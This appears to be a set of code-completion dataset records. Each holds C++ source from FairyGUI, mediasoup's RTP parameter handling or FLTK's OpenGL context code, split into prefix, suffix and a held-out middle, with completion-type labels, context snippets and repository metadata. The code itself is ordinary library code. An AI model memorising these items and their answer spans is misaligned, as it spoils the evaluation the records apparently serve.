ERelationType::Size); return ModalWaitPane; } else return nullptr; } bool UGRoot::IsModalWaiting() const { return (ModalWaitPane != nullptr) && ModalWaitPane->OnStage(); } void UGRoot::ShowPopup(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { if (PopupStack.Num() > 0) HidePopup(Popup); PopupStack.Add(Popup); if (AtObject != nullptr) { UGObject* p = AtObject; while (p != nullptr) { if (p->GetParent() == this) { if (Popup->GetSortingOrder() < p->GetSortingOrder()) { Popup->SetSortingOrder(p->GetSortingOrder()); } break; } p = p->GetParent(); } } AddChild(Popup); AdjustModalLayer(); if (Popup->IsA<UGWindow>() && AtObject == nullptr && Direction == EPopupDirection::Auto) return; FVector2D pos = GetPoupPosition(Popup, AtObject, Direction); Popup->SetPosition(pos); } void UGRoot::TogglePopup(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { int32 Index; if (JustClosedPopups.Find(Popup, Index)) return; ShowPopup(Popup, AtObject, Direction); } void UGRoot::HidePopup(UGObject* Popup) { if (Popup != nullptr) { int32 k; if (PopupStack.Find(Popup, k)) { for (int32 i = PopupStack.Num() - 1; i >= k; i--) { ClosePopup(PopupStack.Last().Get()); PopupStack.Pop(); } } } else { for (const auto& it : PopupStack) ClosePopup(it.Get()); PopupStack.Reset(); } } void UGRoot::ClosePopup(UGObject* Popup) { if (Popup != nullptr && Popup->GetParent() != nullptr) { if (Popup->IsA<UGWindow>()) ((UGWindow*)Popup)->Hide(); else RemoveChild(Popup); } } void UGRoot::CheckPopups(SWidget* ClickTarget) { JustClosedPopups.Reset(); if (PopupStack.Num() > 0) { bool handled = false; SWidget* Ptr = ClickTarget; SWidget* Top = DisplayObject.Get(); while (Ptr != Top && Ptr != nullptr) { if (Ptr->GetTag() == SDisplayObject::SDisplayObjectTag) { UGObject* Obj = static_cast<SDisplayObject*>(Ptr)->GObject.Get(); int32 k; if (PopupStack.Find(Obj, k)) { for (int32 i = PopupStack.Num() - 1; i > k; i--) { ClosePopup(PopupStack.Pop().Get()); } handled = true; break; } } Ptr = Ptr->GetParentWidget().Get(); } if (!handled) { for (int32 i = PopupStack.Num() - 1; i >= 0; i--) { UGObject* popup = PopupStack[i].Get(); if (popup != nullptr) { JustClosedPopups.Add(popup); ClosePopup(popup); } } PopupStack.Reset(); } } } bool UGRoot::HasAnyPopup() const { return PopupStack.Num() > 0; } FVector2D UGRoot::GetPoupPosition(UGObject* Popup, UGObject* AtObject, EPopupDirection Direction) { FVector2D pos; FVector2D size; if (AtObject != nullptr) { pos = AtObject->LocalToGlobal(FVector2D::ZeroVector); pos = this->GlobalToLocal(pos); size = AtObject->LocalToGlobal(AtObject->GetSize()); size = this->GlobalToLocal(size); size -= pos; } else { pos = GlobalToLocal(GetApp()->GetTouchPosition()); } FVector2D RetPosition; RetPosition.X = pos.X; if (RetPosition.X + Popup->GetWidth() > GetWidth()) RetPosition.X += size.X - Popup->GetWidth(); RetPosition.Y = pos.Y + size.Y; if ((Direction == EPopupDirection::Auto && RetPosition.Y + Popup->GetHeight() > GetHeight()) || Direction == EPopupDirection::Up) { RetPosition.Y = pos.Y - Popup->GetHeight() - 1; if (RetPosition.Y < 0) { RetPosition.Y = 0; RetPosition.X += size.X / 2; } } return RetPosition.RoundToVector(); } void UGRoot::ShowTooltips(const FString& Text) { if (DefaultTooltipWin == nullptr) { const FString& resourceURL = FUIConfig::Config.TooltipsWin; if (resourceURL.IsEmpty()) { UE_LOG(LogFairyGUI, Warning, TEXT("UIConfig.tooltipsWin not defined")); return; } DefaultTooltipWin = UUIPackage::CreateObjectFromURL(resourceURL, this); DefaultTooltipWin->SetTouchable(false); } DefaultTooltipWin->SetText(Text); ShowTooltipsWin(DefaultTooltipWin); } void UGRoot::ShowTooltipsWin(UGObject* InTooltipWin) { HideTooltips(); TooltipWin = InTooltipWin;
; } void UGRoot::DoShowTooltipsWin() { if (TooltipWin == nullptr) return; FVector2D pt = GetApp()->GetTouchPosition(); FVector2D Pos = pt + FVector2D(10, 20); Pos = GlobalToLocal(Pos); if (Pos.X + TooltipWin->GetWidth() > GetWidth()) Pos.X -= TooltipWin->GetWidth(); if (Pos.Y + TooltipWin->GetHeight() > GetHeight()) { Pos.Y -= TooltipWin->GetHeight() - 1; if (Pos.Y < 0) Pos.Y = 0; } TooltipWin->SetPosition(Pos.RoundToVector()); AddChild(TooltipWin); } void UGRoot::HideTooltips() { if (TooltipWin != nullptr) { if (TooltipWin->GetParent() != nullptr) RemoveChild(TooltipWin); TooltipWin = nullptr; } } void SRootContainer::OnArrangeChildren(const FGeometry& AllottedGeometry, FArrangedChildren& ArrangedChildren) const { FVector2D LocalSize = AllottedGeometry.GetLocalSize().RoundToVector(); if (LocalSize != GObject->GetSize()) { GObject->SetSize(LocalSize); UE_LOG(LogFairyGUI, Log, TEXT("UIRoot resize to %f,%f"), LocalSize.X, LocalSize.Y); } SContainer::OnArrangeChildren(AllottedGeometry, ArrangedChildren); }
GWorld->GetTimerManager().SetTimer( ShowTooltipsTimerHandle, FTimerDelegate::CreateUObject(this, &UGRoot::DoShowTooltipsWin), 0.1f, false)
call_expression
[ { "content": "class FAIRYGUI_API UGWindow : public UGComponent\n\n{\n\n GENERATED_BODY()\n\n\n\npublic:\n\n UFUNCTION(BlueprintCallable, Category = \"FairyGUI\", meta = (WorldContext = \"WorldContextObject\"))\n\n static UGWindow* CreateWindow(const FString& PackageName, const FString& ResourceName, UO...
C++
com-1/src/RTC/RtpDictionaries/RtpParameters.cpp
Globik/kore-mediasoup
343186112316c9f201cd97181cc807881db3bd86
#define MS_CLASS "RTC::RtpParameters" #include "Logger.hpp" #include "MediaSoupError.hpp" #include "RTC/RtpDictionaries.hpp" #include <unordered_set> namespace RTC { RtpParameters::RtpParameters(Json::Value& data) { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json::StaticString JsonStringCodecs{ "codecs" }; static const Json::StaticString JsonStringEncodings{ "encodings" }; static const Json::StaticString JsonStringHeaderExtensions{ "headerExtensions" }; static const Json::StaticString JsonStringRtcp{ "rtcp" }; static const Json::StaticString JsonStringUserParameters{ "userParameters" }; if (data[JsonStringMuxId].isString()) { this->muxId = data[JsonStringMuxId].asString(); if (this->muxId.empty()) MS_THROW_ERROR("empty RtpParameters.muxId"); } if (data[JsonStringCodecs].isArray()) { auto& jsonCodecs = data[JsonStringCodecs]; for (auto& jsonCodec : jsonCodecs) { RTC::RtpCodecParameters codec(jsonCodec, RTC::Scope::RECEIVE); this->codecs.push_back(codec); } } else { MS_THROW_ERROR("missing RtpParameters.codecs"); } if (data[JsonStringEncodings].isArray()) { auto& jsonArray = data[JsonStringEncodings]; for (auto& i : jsonArray) { RTC::RtpEncodingParameters encoding(i); this->encodings.push_back(encoding); } } if (data[JsonStringHeaderExtensions].isArray()) { auto& jsonArray = data[JsonStringHeaderExtensions]; for (auto& i : jsonArray) { RTC::RtpHeaderExtensionParameters headerExtension(i); if (headerExtension.type != RtpHeaderExtensionUri::Type::UNKNOWN) this->headerExtensions.push_back(headerExtension); } } if (data[JsonStringRtcp].isObject()) { this->rtcp = RTC::RtcpParameters(data[JsonStringRtcp]); this->hasRtcp = true; } if (data[JsonStringUserParameters].isObject()) this->userParameters = data[JsonStringUserParameters]; else this->userParameters = Json::objectValue; ValidateCodecs(); ValidateEncodings(); } RtpParameters::RtpParameters(const RtpParameters* rtpParameters) : muxId(rtpParameters->muxId), codecs(rtpParameters->codecs), encodings(rtpParameters->encodings), headerExtensions(rtpParameters->headerExtensions), rtcp(rtpParameters->rtcp), hasRtcp(rtpParameters->hasRtcp), userParameters(rtpParameters->userParameters) { MS_TRACE(); } Json::Value RtpParameters::ToJson() const { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json::StaticString JsonStringCodecs{ "codecs" }; static const Json::StaticString JsonStringEncodings{ "encodings" }; static const Json::StaticString JsonStringHeaderExtensions{ "headerExtensions" }; static const Json::StaticString JsonStringRtcp{ "rtcp" }; static const Json::StaticString JsonStringUserParameters{ "userParameters" }; Json::Value json(Json::objectValue); if (!this->muxId.empty()) json[JsonStringMuxId] = this->muxId; json[JsonStringCodecs] = Json::arrayValue; for (auto& entry : this->codecs) { json[JsonStringCodecs].append(entry.ToJson()); } json[JsonStringEncodings] = Json::arrayValue; for (auto& entry : this->encodings) { json[JsonStringEncodings].append(entry.ToJson()); } json[JsonStringHeaderExtensions] = Json::arrayValue; for (auto& entry : this->headerExtensions) { json[JsonStringHeaderExtensions].append(entry.ToJson()); } if (this->hasRtcp) json[JsonStringRtcp] = this->rtcp.ToJson(); json[JsonStringUserParameters] = this->userParameters; return json; } void RtpParameters::ReduceCodecsAndEncodings(RtpCapabilities& capabilities) { MS_TRACE(); std::vector<uint8_t> removedCodecPayloadTypes; for (auto it = this->codecs.begin(); it != this->codecs.end();) { auto& codec = *it; auto it2 = capabilities.codecs.begin(); for (; it2 != capabilities.codecs.end(); ++it2) { auto& codecCapability = *it2; if (codecCapability.Matches(codec, true)) { codec.ReduceRtcpFeedback(codecCapability.rtcpFeedback); ++it; break; } } if (it2 == capabilities.codecs.end()) { MS_WARN_DEV( "no matching peer codec capability found [payloadType:%" PRIu8 ", mime:%s]", codec.payloadType, codec.mime.GetName().c_str()); removedCodecPayloadTypes.push_back(codec.payloadType); it = this->codecs.erase(it); } } for (auto it = this->encodings.begin(); it != this->encodings.end();) { auto& encoding = *it; auto it2 = removedCodecPayloadTypes.begin(); for (; it2 != removedCodecPayloadTypes.end(); ++it2) { auto removedCodecPayloadType = *it2; if (encoding.codecPayloadType == removedCodecPayloadType) { MS_WARN_DEV("removing encoding without matching codec"); it = this->encodings.erase(it); break; } } if (it2 == removedCodecPayloadTypes.end()) { ++it; } } ValidateCodecs(); ValidateEncodings(); } void RtpParameters::ReduceHeaderExtensions(std::vector<RtpHeaderExtension>& supportedHeaderExtensions) { MS_TRACE(); std::vector<RTC::RtpHeaderExtensionParameters> updatedHeaderExtensions; for (auto& headerExtension : this->headerExtensions) { for (auto& supportedHeaderExtension : supportedHeaderExtensions) { if (headerExtension.type == supportedHeaderExtension.type) { headerExtension.id = supportedHeaderExtension.preferredId; headerExtension.encrypt = supportedHeaderExtension.preferredEncrypt; updatedHeaderExtensions.push_back(headerExtension); break; } } } this->headerExtensions = updatedHeaderExtensions; } RTC::RtpCodecParameters& RtpParameters::GetCodecForEncoding(RtpEncodingParameters& encoding) { MS_TRACE(); static RTC::RtpCodecParameters fakeCodec; uint8_t payloadType = encoding.codecPayloadType; auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.payloadType == payloadType) return codec; } if (it == this->codecs.end()) { MS_ABORT("no valid codec payload type for the given encoding"); } return fakeCodec; } RTC::RtpCodecParameters& RtpParameters::GetRtxCodecForEncoding(RtpEncodingParameters& encoding) { MS_TRACE(); static const std::string associatedPayloadType = "apt"; static RTC::RtpCodecParameters fakeCodec; uint8_t payloadType = encoding.codecPayloadType; auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.mime.IsFeatureCodec() && codec.parameters.GetInteger(associatedPayloadType) == payloadType) { return codec; } } return fakeCodec; } inline void RtpParameters::ValidateCodecs() { MS_TRACE(); static std::string jsonStringApt{ "apt" }; if (this->codecs.empty()) MS_THROW_ERROR("empty RtpParameters.codecs"); std::unordered_set<uint8_t> payloadTypes; for (auto& codec : this->codecs) { if (payloadTypes.find(codec.payloadType) != payloadTypes.end()) MS_THROW_ERROR("duplicated codec.payloadType"); else payloadTypes.insert(codec.payloadType); switch (codec.mime.subtype) { case RTC::RtpCodecMime::Subtype::RTX: { int32_t apt = codec.parameters.GetInteger(jsonStringApt); auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto codec = *it; if (static_cast<int32_t>(codec.payloadType) == apt) { if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::RTX) MS_THROW_ERROR("apt in RTX codec points to a RTX codec"); else if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::ULPFEC) MS_THROW_ERROR("apt in RTX codec points to a ULPFEC codec"); else if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::FLEXFEC) MS_THROW_ERROR("apt in RTX codec points to a FLEXFEC codec"); else break; } if (it == this->codecs.end()) MS_THROW_ERROR("apt in RTX codec points to a non existing codec"); } break; } default:; } } } inline void RtpParameters::ValidateEncodings() { uint8_t firstMediaPayloadType = 0; { auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.mime.IsMediaCodec()) { firstMediaPayloadType = codec.payloadType; break; } } if (it == this->codecs.end()) MS_THROW_ERROR("no media codecs found"); } if (this->encodings.empty()) { RTC::RtpEncodingParameters encoding; encoding.codecPayloadType = firstMediaPayloadType; encoding.hasCodecPayloadType = true; this->encodings.push_back(encoding); } else { for (auto& encoding : this->encodings) { if (!encoding.hasCodecPayloadType) { encoding.codecPayloadType = firstMediaPayloadType; encoding.hasCodecPayloadType = true; } else { auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto codec = *it; if (codec.payloadType == encoding.codecPayloadType) { if (codec.mime.IsMediaCodec()) break; MS_THROW_ERROR("invalid encoding.codecPayloadType"); } } if (it == this->codecs.end()) MS_THROW_ERROR("unknown encoding.codecPayloadType"); } } } } }
#define MS_CLASS "RTC::RtpParameters" #include "Logger.hpp" #include "MediaSoupError.hpp" #include "RTC/RtpDictionaries.hpp" #include <unordered_set> namespace RTC { RtpParameters::RtpParameters(Json::Value& data) { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json::StaticString JsonStringCodecs{ "codecs" }; static const Json::StaticString JsonStringEncodings{ "encodings" }; static const Json::StaticString JsonStringHeaderExtensions{ "headerExtensions" }; static const Json::StaticString JsonStringRtcp{ "rtcp" }; static const Json::StaticString JsonStringUserParameters{ "userParameters" }; if (data[JsonStringMuxId].isString()) { this->muxId = data[JsonStringMuxId].asString(); if (this->muxId.empty()) MS_THROW_ERROR("empty RtpParameters.muxId"); } if (data[JsonStringCodecs].isArray()) { auto& jsonCodecs = data[JsonStringCodecs]; for (auto& jsonCodec : jsonCodecs) { RTC::RtpCodecParameters codec(jsonCodec, RTC::Scope::RECEIVE); this->codecs.push_back(codec); } } else { MS_THROW_ERROR("missing RtpParameters.codecs"); } if (data[JsonStringEncodings].isArray()) { auto& jsonArray = data[JsonStringEncodings]; for (auto& i : jsonArray) { RTC::RtpEncodingParameters encoding(i); this->encodings.push_back(encoding); } } if (data[JsonStringHeaderExtensions].isArray()) { auto& jsonArray = data[JsonStringHeaderExtensions]; for (auto& i : jsonArray) { RTC::RtpHeaderExtensionParameters headerExtension(i); if (headerExtension.type != RtpHeaderExtensionUri::Type::UNKNOWN) this->headerExtensions.push_back(headerExtension); } } if (data[JsonStringRtcp].isObject()) { this->rtcp = RTC::RtcpParameters(data[JsonStringRtcp]); this->hasRtcp = true; } if (data[JsonStringUserParameters].isObject()) this->userParameters = data[JsonStringUserParameters]; else this->userParameters = Json::objectValue; ValidateCodecs(); ValidateEncodings(); } RtpParameters::RtpParameters(const RtpParameters* rtpParameters) : muxId(rtpParameters->muxId), codecs(rtpParameters->codecs), encodings(rtpParameters->encodings), headerExtensions(rtpParameters->headerExtensions), rtcp(rtpParameters->rtcp), hasRtcp(rtpParameters->hasRtcp), userParameters(rtpParameters->userParameters) { MS_TRACE(); } Json::Value RtpParameters::ToJson() const { MS_TRACE(); static const Json::StaticString JsonStringMuxId{ "muxId" }; static const Json::StaticString JsonStringCodecs{ "codecs" }; static const Json::StaticString JsonStringEncodings{ "encodings" }; static const Json::StaticString JsonStringHeaderExtensions{ "headerExtensions" }; static const Json::StaticString JsonStringRtcp{ "rtcp" }; static const Json::StaticString JsonStringUserParameters{ "userParameters" }; Json::Value json(Json::objectValue); if (!this->muxId.empty()) json[JsonStringMuxId] = this->muxId; json[JsonStringCodecs] = Json::arrayValue; for (auto& entry : this->codecs) { json[JsonStringCodecs].append(entry.ToJson()); } json[JsonStringEncodings] = Json::arrayValue; for (auto& entry : this->encodings) { json[JsonStringEncodings].append(entry.ToJson()); } json[JsonStringHeaderExtensions] = Json::arrayValue; for (auto& entry : this->headerExtensions) { json[JsonStringHeaderExtensions].append(entry.ToJson()); } if (this->hasRtcp) json[JsonStringRtcp] = this->rtcp.ToJson(); json[JsonStringUserParameters] = this->userParameters; return json; } void RtpParameters::ReduceCodecsAndEncodings(RtpCapabilities& capabilities) { MS_TRACE(); std::vector<uint8_t> removedCodecPayloadTypes; for (auto it = this->codecs.begin(); it != this->codecs.end();) { auto& codec = *it; auto it2 = capabilities.codecs.begin(); for (; it2 != capabilities.codecs.end(); ++it2) { auto& codecCapability = *it2; if (codecCapability.Matches(codec, true)) { codec.ReduceRtcpFeedback(codecCapability.rtcpFeedback); ++it; break; } } if (it2 == capabilities.codecs.end()) { MS_WARN_DEV( "no matching peer codec capability found [payloadType:%" PRIu8 ", mime:%s]", codec.payloadType, codec.mime.GetName().c_str()); removedCodecPayloadTypes.push_back(codec.payloadType); it = this->codecs.erase(it); } } for (auto it = this->encodings.begin(); it != this->encodings.end();) { auto& encoding = *it; auto it2 = removedCodecPayloadTypes.begin(); for (; it2 != removedCodecPayloadTypes.end(); ++it2) { auto removedCodecPayloadType = *it2; if (encoding.codecPayloadType == removedCodecPayloadType) { MS_WARN_DEV("removing encoding without matching codec"); it = this->encodings.erase(it); break; } } if (it2 == removedCodecPayloadTypes.end()) { ++it; } } ValidateCodecs(); ValidateEncodings(); } void RtpParameters::ReduceHeaderExtensions(std::vector<RtpHeaderExtension>& supportedHeaderExtensions) { MS_TRACE(); std::vector<RTC::RtpHeaderExtensionParameters> updatedHeaderExtensions; for (auto& headerExtension : this->headerExtensions) { for (auto& supportedHeaderExtension : supportedHeaderExtensions) { if (headerExtension.type == supportedHeaderExtension.type) { headerExtension.id = supportedHeaderExtension.preferredId; headerExtension.encrypt = supportedHeaderExtension.preferredEncrypt; updatedHeaderExtensions.push_back(headerExtension); break; } } } this->headerExtensions = updatedHeaderExtensions; } RTC::RtpCodecParameters& RtpParameters::GetCodecForEncoding(RtpEncodingParameters& encoding) { MS_TRACE(); static RTC::RtpCodecParameters fakeCodec; uint8_t payloadType = encoding.codecPayloadType; auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.payloadType == payloadType) return codec; } if (it == this->codecs.end()) { MS_ABORT("no valid codec payload type for the given encoding"); } return fakeCodec; } RTC::RtpCodecParameters& RtpParameters::GetRtxCodecForEncoding(RtpEncodingParameters& encoding) { MS_TRACE(); static const std::string associatedPayloadType = "apt"; static RTC::RtpCodecParameters fakeCodec;
inline void RtpParameters::ValidateCodecs() { MS_TRACE(); static std::string jsonStringApt{ "apt" }; if (this->codecs.empty()) MS_THROW_ERROR("empty RtpParameters.codecs"); std::unordered_set<uint8_t> payloadTypes; for (auto& codec : this->codecs) { if (payloadTypes.find(codec.payloadType) != payloadTypes.end()) MS_THROW_ERROR("duplicated codec.payloadType"); else payloadTypes.insert(codec.payloadType); switch (codec.mime.subtype) { case RTC::RtpCodecMime::Subtype::RTX: { int32_t apt = codec.parameters.GetInteger(jsonStringApt); auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto codec = *it; if (static_cast<int32_t>(codec.payloadType) == apt) { if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::RTX) MS_THROW_ERROR("apt in RTX codec points to a RTX codec"); else if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::ULPFEC) MS_THROW_ERROR("apt in RTX codec points to a ULPFEC codec"); else if (codec.mime.subtype == RTC::RtpCodecMime::Subtype::FLEXFEC) MS_THROW_ERROR("apt in RTX codec points to a FLEXFEC codec"); else break; } if (it == this->codecs.end()) MS_THROW_ERROR("apt in RTX codec points to a non existing codec"); } break; } default:; } } } inline void RtpParameters::ValidateEncodings() { uint8_t firstMediaPayloadType = 0; { auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.mime.IsMediaCodec()) { firstMediaPayloadType = codec.payloadType; break; } } if (it == this->codecs.end()) MS_THROW_ERROR("no media codecs found"); } if (this->encodings.empty()) { RTC::RtpEncodingParameters encoding; encoding.codecPayloadType = firstMediaPayloadType; encoding.hasCodecPayloadType = true; this->encodings.push_back(encoding); } else { for (auto& encoding : this->encodings) { if (!encoding.hasCodecPayloadType) { encoding.codecPayloadType = firstMediaPayloadType; encoding.hasCodecPayloadType = true; } else { auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto codec = *it; if (codec.payloadType == encoding.codecPayloadType) { if (codec.mime.IsMediaCodec()) break; MS_THROW_ERROR("invalid encoding.codecPayloadType"); } } if (it == this->codecs.end()) MS_THROW_ERROR("unknown encoding.codecPayloadType"); } } } } }
uint8_t payloadType = encoding.codecPayloadType; auto it = this->codecs.begin(); for (; it != this->codecs.end(); ++it) { auto& codec = *it; if (codec.mime.IsFeatureCodec() && codec.parameters.GetInteger(associatedPayloadType) == payloadType) { return codec; } } return fakeCodec; }
function_block-function_prefix_line
[ { "content": "\t\tenum class Type : uint8_t\n\n\t\t{\n\n\t\t\tFIR = 192,\n\n\t\t\tNACK = 193,\n\n\t\t\tSR = 200,\n\n\t\t\tRR = 201,\n\n\t\t\tSDES = 202,\n\n\t\t\tBYE = 203,\n\n\t\t\tAPP = 204,\n\n\t\t\tRTPFB = 205,\n\n\t\t\tPSFB = 206\n\n\t\t};\n\n\n", "file_path": "worker/include/RTC/RTCP/Pa...
C++
external/fltk-2.0.x-r5966/OpenGL/Fl_Gl_Choice.cxx
jturner65/ParticleSim
0ad72630c6c417a924833c4d5955d6daa902fbe8
#include <config.h> #if HAVE_GL #include "GlChoice.h" #include <fltk/visual.h> #include <stdlib.h> using namespace fltk; static GlChoice* first; GlChoice* GlChoice::find(int mode) { GlChoice* g; for (g = first; g; g = g->next) if (g->mode == mode) return g; #ifdef _WIN32 HDC dc = getDC(); int pixelFormat = 0; PIXELFORMATDESCRIPTOR chosen_pfd; for (int i = 1; ; i++) { PIXELFORMATDESCRIPTOR pfd; if (!DescribePixelFormat(dc, i, sizeof(pfd), &pfd)) break; if (~pfd.dwFlags & (PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL)) continue; if (pfd.iPixelType != ((mode&INDEXED_COLOR)?1:0)) continue; if ((mode & ALPHA_BUFFER) && !pfd.cAlphaBits) continue; if ((mode & ACCUM_BUFFER) && !pfd.cAccumBits) continue; if ((!(mode & DOUBLE_BUFFER)) != (!(pfd.dwFlags & PFD_DOUBLEBUFFER))) continue; if ((!(mode & STEREO)) != (!(pfd.dwFlags & PFD_STEREO))) continue; if ((mode & DEPTH_BUFFER) && !pfd.cDepthBits) continue; if ((mode & STENCIL_BUFFER) && !pfd.cStencilBits) continue; if (pixelFormat) { if (!(chosen_pfd.bReserved & 15) && (pfd.bReserved & 15)) {} else if (chosen_pfd.cColorBits < pfd.cColorBits) {} else continue; } pixelFormat = i; chosen_pfd = pfd; } if (!pixelFormat) return 0; #elif defined(__APPLE__) const int *blist; int list[32]; int n = 0; if (mode & INDEXED_COLOR) { list[n++] = AGL_BUFFER_SIZE; list[n++] = 8; } else { list[n++] = AGL_RGBA; list[n++] = AGL_GREEN_SIZE; list[n++] = (mode & RGB24_COLOR) ? 8 : 1; if (mode & ALPHA_BUFFER) { list[n++] = AGL_ALPHA_SIZE; list[n++] = (mode & RGB24_COLOR) ? 8 : 1; } if (mode & ACCUM_BUFFER) { list[n++] = AGL_ACCUM_GREEN_SIZE; list[n++] = 1; if (mode & ALPHA_BUFFER) { list[n++] = AGL_ACCUM_ALPHA_SIZE; list[n++] = 1; } } } if (mode & DOUBLE_BUFFER) { list[n++] = AGL_DOUBLEBUFFER; } if (mode & DEPTH_BUFFER) { list[n++] = AGL_DEPTH_SIZE; list[n++] = 24; } if (mode & STENCIL_BUFFER) { list[n++] = AGL_STENCIL_SIZE; list[n++] = 1; } # ifdef AGL_STEREO if (mode & STEREO) { list[n++] = AGL_STEREO; } # endif list[n] = AGL_NONE; blist = list; open_display(); AGLPixelFormat fmt = aglChoosePixelFormat(NULL, 0, (GLint*)blist); if (!fmt) return 0; #else int list[32]; int n = 0; if (mode & INDEXED_COLOR) { list[n++] = GLX_BUFFER_SIZE; list[n++] = 8; } else { list[n++] = GLX_RGBA; list[n++] = GLX_GREEN_SIZE; const int bits = (mode & RGB24_COLOR) ? 8 : 1; list[n++] = bits; if (mode & ALPHA_BUFFER) { list[n++] = GLX_ALPHA_SIZE; list[n++] = bits; } if (mode & ACCUM_BUFFER) { list[n++] = GLX_ACCUM_GREEN_SIZE; list[n++] = bits; if (mode & ALPHA_BUFFER) { list[n++] = GLX_ACCUM_ALPHA_SIZE; list[n++] = bits; } } } if (mode & DOUBLE_BUFFER) { list[n++] = GLX_DOUBLEBUFFER; } if (mode & DEPTH_BUFFER) { list[n++] = GLX_DEPTH_SIZE; list[n++] = 1; } if (mode & STENCIL_BUFFER) { list[n++] = GLX_STENCIL_SIZE; list[n++] = 1; } if (mode & STEREO) { list[n++] = GLX_STEREO; } #if defined(GLX_VERSION_1_1) && defined(GLX_SGIS_multisample) if (mode & MULTISAMPLE) { list[n++] = GLX_SAMPLES_SGIS; list[n++] = 4; } #endif list[n] = 0; open_display(); XVisualInfo* vis = glXChooseVisual(xdisplay, xscreen, list); if (!vis) { # if defined(GLX_VERSION_1_1) && defined(GLX_SGIS_multisample) if (mode&MULTISAMPLE) return find(mode&~MULTISAMPLE); # endif return 0; } #endif g = new GlChoice; g->mode = mode; g->next = first; first = g; #ifdef _WIN32 g->pixelFormat = pixelFormat; g->pfd = chosen_pfd; #elif defined(__APPLE__) g->pixelformat = fmt; #else g->vis = vis; if ( vis->visualid == xvisual->visualid && !getenv("MESA_PRIVATE_CMAP")) g->colormap = xcolormap; else g->colormap = XCreateColormap(xdisplay, RootWindow(xdisplay,xscreen), vis->visual, AllocNone); #endif return g; } static GLContext first_context; #if USE_X11 #define DESTROY_ON_EXIT 0 #if DESTROY_ON_EXIT static struct Contexts { GLContext context; struct Contexts* next; } * context_list; static void destructor() { if (xdisplay && first_context) { first_context = 0; for (Contexts* p = context_list; p; p = p->next) { glXDestroyContext(xdisplay, p->context); } context_list = 0; XFlush(xdisplay); } } #endif GLContext fltk::create_gl_context(XVisualInfo* vis) { GLContext context = glXCreateContext(xdisplay, vis, first_context, 1); #if DESTROY_ON_EXIT Contexts* p = new Contexts; p->context = context; p->next = context_list; context_list = p; #endif if (!first_context) { first_context = context; #if DESTROY_ON_EXIT atexit(::destructor); #endif } return context; } #elif defined(_WIN32) GLContext fltk::create_gl_context(const Window* window, const GlChoice* g, int layer) { CreatedWindow* i = CreatedWindow::find(window); SetPixelFormat(i->dc, g->pixelFormat, &g->pfd); GLContext context = layer ? wglCreateLayerContext(i->dc, layer) : wglCreateContext(i->dc); if (context) { if (first_context) wglShareLists(first_context, context); else first_context = context; } return context; } #elif defined(__APPLE__) GLContext fltk::create_gl_context(const Window* window, const GlChoice* g, int layer) { GLContext context; context = aglCreateContext(g->pixelformat, first_context); if (!context) return 0; if (!first_context) first_context = context; return context; } #endif GLContext fl_current_glcontext; static const Window* cached_window; void fltk::set_gl_context(const Window* window, GLContext context) { if (context != fl_current_glcontext || window != cached_window) { fl_current_glcontext = context; cached_window = window; #if USE_X11 if (first_context) glXMakeCurrent(xdisplay, xid(window), context); #elif defined(_WIN32) wglMakeCurrent(CreatedWindow::find(window)->dc, context); #elif defined(__APPLE__) if ( window->parent() ) { fltk::Rectangle r(*window); Widget* p = window->parent(); for (;; p = p->parent()) { if (r.y() < 0) r.set_y(0); if (r.r() > p->w()) r.set_r(p->w()); if (!p->parent()) break; r.move(p->x(), p->y()); } GLint rect[] = { r.x(), p->h()-r.b(), r.w(), r.h() }; aglSetInteger( context, AGL_BUFFER_RECT, rect ); aglEnable( context, AGL_BUFFER_RECT ); } aglSetDrawable(context, GetWindowPort( xid(window) ) ); aglSetCurrentContext(context); #endif # if USE_GLEW static bool beenhere = false; if (!beenhere) { beenhere = true; glewExperimental = GL_TRUE; glewInit(); } # endif } } void fltk::no_gl_context() { #if USE_X11 glXMakeCurrent(xdisplay, 0, 0); #elif defined(_WIN32) wglMakeCurrent(0, 0); #elif defined(__APPLE__) if (fl_current_glcontext) aglSetCurrentContext(0); #endif fl_current_glcontext = 0; cached_window = 0; } void fltk::delete_gl_context(GLContext context) { if (fl_current_glcontext == context) no_gl_context(); if (context != first_context) { #if USE_X11 if (first_context) { glXDestroyContext(xdisplay, context); #if DESTROY_ON_EXIT Contexts** p = &context_list; Contexts* q = *p; while (q && q->context != context) { p = &(q->next); q = *p; } if (q) {*p = q->next; delete q;} #endif } #elif defined(_WIN32) wglDeleteContext(context); #elif defined(__APPLE__) aglSetDrawable( context, NULL ); aglDestroyContext( context ); #endif } } #endif
#include <config.h> #if HAVE_GL #include "GlChoice.h" #include <fltk/visual.h> #include <stdlib.h> using namespace fltk; static GlChoice* first; GlChoice* GlChoice::find(int mode) { GlChoice* g; for (g = first; g; g = g->next) if (g->mode == mode) return g; #ifdef _WIN32 HDC dc = getDC(); int pixelFormat = 0; PIXELFORMATDESCRIPTOR chosen_pfd; for (int i = 1; ; i++) { PIXELFORMATDESCRIPTOR pfd; if (!DescribePixelFormat(dc, i, sizeof(pfd), &pfd)) break; if (~pfd.dwFlags & (PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL)) continue; if (pfd.iPixelType != ((mode&INDEXED_COLOR)?1:0)) continue; if ((mode & ALPHA_BUFFER) && !pfd.cAlphaBits) continue;
